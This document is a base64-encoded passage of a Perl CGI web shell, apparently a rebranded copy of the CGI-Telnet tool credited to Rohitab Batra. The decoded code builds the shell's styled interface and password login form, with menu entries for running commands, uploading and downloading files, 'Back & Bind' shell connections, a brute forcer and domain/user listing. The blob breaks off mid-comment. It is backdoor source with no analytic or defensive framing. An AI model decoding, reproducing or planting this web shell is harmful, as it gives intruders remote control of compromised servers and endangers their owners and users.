SGVhZGVyCnsKCSRFbmNvZGVkQ3VycmVudERpciA9ICRDdXJyZW50RGlyOwoJJEVuY29kZWRDdXJyZW50RGlyID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCW15ICRkaXIgPSRDdXJyZW50RGlyOwoJJGRpcj1+IHMvXFwvXFxcXC9nOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT5IYWNzdWdpYTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IFZlcmRhbmE7Cn0KdHIgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICNmZjk5MDA7Cn0KdGQgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKY29sb3I6ICMyQkE4RUM7CmZvbnQ6IDEwcHQgVmVyZGFuYTsKfQoKdGFibGUgewpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogIzExMTsKfQoKCmlucHV0IHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiAxMHB0IFZlcmRhbmE7CmNvbG9yOiAjZmY5OTAwOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgVmVyZGFuYSBib2xkOwpjb2xvcjogd2hpbGU7Cn0KCnJ1biB7CmJvcmRlcgkJCTogZGFzaGVkIDBweCAjMzMzOwpmb250OiAxMHB0IFZlcmRhbmEgYm9sZDsKY29sb3I6ICNGRjAwQUE7Cn0KCnRleHRhcmVhIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7CmZvbnQ6IEZpeGVkc3lzIGJvbGQ7CmNvbG9yOiAjYWFhOwp9CkE6bGluayB7CglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsKCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjZmY5OTAwOyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7Cgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUKfQoKLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCS8qdmFyIGFqYXg9J2FqYXhfUG9zdERhdGEoIkZvcm1QZXJtc18nK2krJyIsIiRTY3JpcHRMb2NhdGlvbiIsIlJlc3BvbnNlRGF0YSIpOyByZXR1cm4gZmFsc2U7JzsqLwoJdmFyIGFqYXg9IiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1yZW5hbWUgdHlwZT10ZXh0IHZhbHVlPSAnIitmaWxlKyInIC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBhamF4ICsgIicgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpCnsKCWlmKGY9PSdmJykKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Y29tbWFuZCZkPSRkaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsKCX1lbHNlCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOwoJfQp9Cjwvc2NyaXB0Pgo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGNlbnRlcj48Y29kZT4KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+Cjx0cj4KCTx0ZCBhbGlnbj0iY2VudGVyIiByb3dzcGFuPTI+CgkJPGI+PGZvbnQgc2l6ZT0iNSI+JEVkaXRQZXJzaW9uPC9mb250PjwvYj4KCTwvdGQ+CgoJPHRkPgoKCQk8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4kRU5WeyJTRVJWRVJfU09GVFdBUkUifTwvZm9udD4KCTwvdGQ+Cgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjY2MwMDAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iIzAwMDAwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+Cgo8L3RyPgoKPHRyPgo8dGQgY29sc3Bhbj0iMyI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVkQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkdVSTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNoZWNrbG9nIj5DaGVjayBMb2c8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwKPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9IiMiPkhlbHA8L2E+Cgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgaWQ9IlJlc3BvbnNlRGF0YSIgY29sb3I9IiNmZjk5Y2MiID4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxmb250IHN0eWxlPSJmb250OiAxNXB0IFZlcmRhbmE7IGNvbG9yOiB5ZWxsb3c7Ij5Db3B5cmlnaHQgKEMpIDIwMDEgUm9oaXRhYiBCYXRyYSA8L2ZvbnQ+PGJyPjxicj4KPHRhYmxlIGFsaWduPSJjZW50ZXIiIGJvcmRlcj0iMSIgd2lkdGg9IjYwMCIgaGVpZ2g+Cjx0Ym9keT48dHI+Cjx0ZCB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaHR0cDovL2RsLmRyb3Bib3guY29tL3UvMTA4NjAwNTEvaW1hZ2VzL21hdHJhbi5naWYiPjxwIGlkPSJoYWNrIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDNweDsiPgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t